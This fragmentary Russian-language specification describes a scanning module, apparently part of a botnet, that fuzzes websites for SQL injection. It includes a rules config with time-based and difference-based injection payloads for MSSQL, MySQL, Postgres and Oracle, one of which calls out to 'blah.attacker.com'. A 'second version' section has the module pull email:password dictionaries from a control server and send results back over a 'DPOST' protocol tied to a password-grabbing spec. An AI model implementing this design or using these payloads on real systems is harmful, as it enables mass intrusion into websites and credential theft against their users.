ЦЕЛЬ
ПРИНЦИП РАБОТЫ
РЕАЛИЗАЦИЯ
2. Инициализация модуля:
Инициализируем генератор псевдослучайных чисел.
Случайности в алгоритме отводится большое значение.
Инициализация должна происходить значением GetTickCount64().
13. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в
c:/temp/webscan.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
14. В проекте должен быть файл настроек config.h (название неважно, важна суть -
здесь все глобальные настройки - пути, макросы-переключатели условной компиляции
итд).
16. Проект должен быть оформлен для сборки в Microsoft Visual Studio не ниже 2015.
ПРАВИЛА ФАЗЗИНГА
В разностных правилах нужно учитывать, что формально разные результаты могут быть
фактически одинаковыми
(например если на странице есть вывод текущего времени - фактически страница не
изменялась, а формально страница секунду назад не равна странице сейчас).
Возможно, при проверке одинаковости страниц нужно считать расстояние Левенштейна
(правда, тут сомнения, т.к. алгоритм Вагнера — Фишера прожорлив до памяти).
КОНФИГИ
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент
CtlArg (см. modules_HOWTO.txt)
* settings
Конфиг представляет из себя простой xml в следующем формате:
<scan>
<delay>задержка между итерациями подбора, в миллисекундах</delay>
<threads>число потоков подбора</threads>
<start>URL стартовой страницы, с которой брать список сайтов на
проверку</start>
<regex>регулярное выражение для поиска доменов на стартовой странице</regex>
</scan>
* rules
<rules>
<rule>
<name>имя правила</name>
<type>time|diff (одно из двух этих значений)</type>
<value1>значение, подставляемое в тестируемый параметр</value1>
<value2>значение, подставляемое в тестируемый параметр</value2>
<value3>значение, подставляемое в тестируемый параметр</value3>
</rule>
...
<rule>
...
</rule>
</rules>
Назначение тегов:
name - название правила; играет роль в выдаче модуля (указывает на тип уязвимости)
type - одно из двух значений type или diff - определяет тип правила (временнОе или
разностное)
value* - для временнЫх правил, это значение нужно подставить в тестируемый
параметр.
Если тегов со значением несколько, их нужно подставить все по очереди, до
успеха.
При успешном тесте, оставшиеся значения можно не проверять.
- для разностных правил:
value1 - константное значение: с результатом выдачи на это значение мы будем
сравнивать
value2 - вычисляемый эквивалент: результат выдачи по этому значению мы будем
сравнивать с выдачей по value1.
value3 - контрольное значение: результат выдачи по этому значению мы будем
сравнивать с value1.
Успехом считается, если выдача на value1 и value2 одинакова, а value1 и value3
отличается.
<rules>
<rule>
<name>MSSQL injection</name>
<type>time</type>
<value1>aaa@aaa.com';waitfor delay '00:00:10'--</value1>
</rule>
<rule>
<name>MySQL injection</name>
<type>time</type>
<value1>aaa@aaa.com';SELECT BENCHMARK(1000000,MD5(‘A’));--</value1>
</rule>
<rule>
<name>Postgres injection</name>
<type>time</type>
<value1>aaa@aaa.com';SELECT pg_sleep(10);--</value1>
</rule>
<rule>
<name>Oracle injection</name>
<type>time</type>
<value1>aaa@aaa.com';BEGIN DBMS_LOCK.SLEEP(5); END; --</value1>
<value2>aaa@aaa.com';SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; --
</value2>
<value3>aaa@aaa.com';SELECT UTL_INADDR.get_host_address('blah.attacker.com')
FROM dual; --</value3>
<value4>aaa@aaa.com';SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; --
</value4>
</rule>
<rule>
<name>Unescaped numeric</name>
<type>diff</type>
<value1>22</value1>
<value2>23-1</value2>
<value3>23</value3>
</rule>
<rule>
<name>Unescaped string</name>
<type>diff</type>
<value1>22</value1>
<value2>22' and '1' = '1</value2>
<value3>22' and '2'='1</value3>
</rule>
</rules>
ВТОРАЯ ВЕРСИЯ
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой
ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).
В ответ нам приходит словарь либо как text/plain, либо application/gzip (смотрим на
заголовок ответа Content-Type)
Если упаковка в gzip, то после распаковки мы ожидаем такой же формат словаря, как
для простого текста.
Формат:
email:password[\r]\n
Отправка делается по протоколу DPOST (см. "ТЗ граб паролей DPOST" для описания
протокола) запросом
В теле ответа мы ожидаем число - это число секунд, не чаще которого следует
отправлять данные.
Если это 0 - отправка сразу по готовности нового результата.
Если это положительное число - мы накапливаем записи в буфере и отправляем раз в X
секунд,
очищая буфер при успешной отправке.
Ответ сервера - такой же, как на запрос /domains - новый список доменов для работы.
При неожиданном ответе (пустой список, код ошибки итд) модуль переходит на холостой
ход (сканирование остановлено)
и делает тот же самый запрос раз в 10 минут (время - в константу).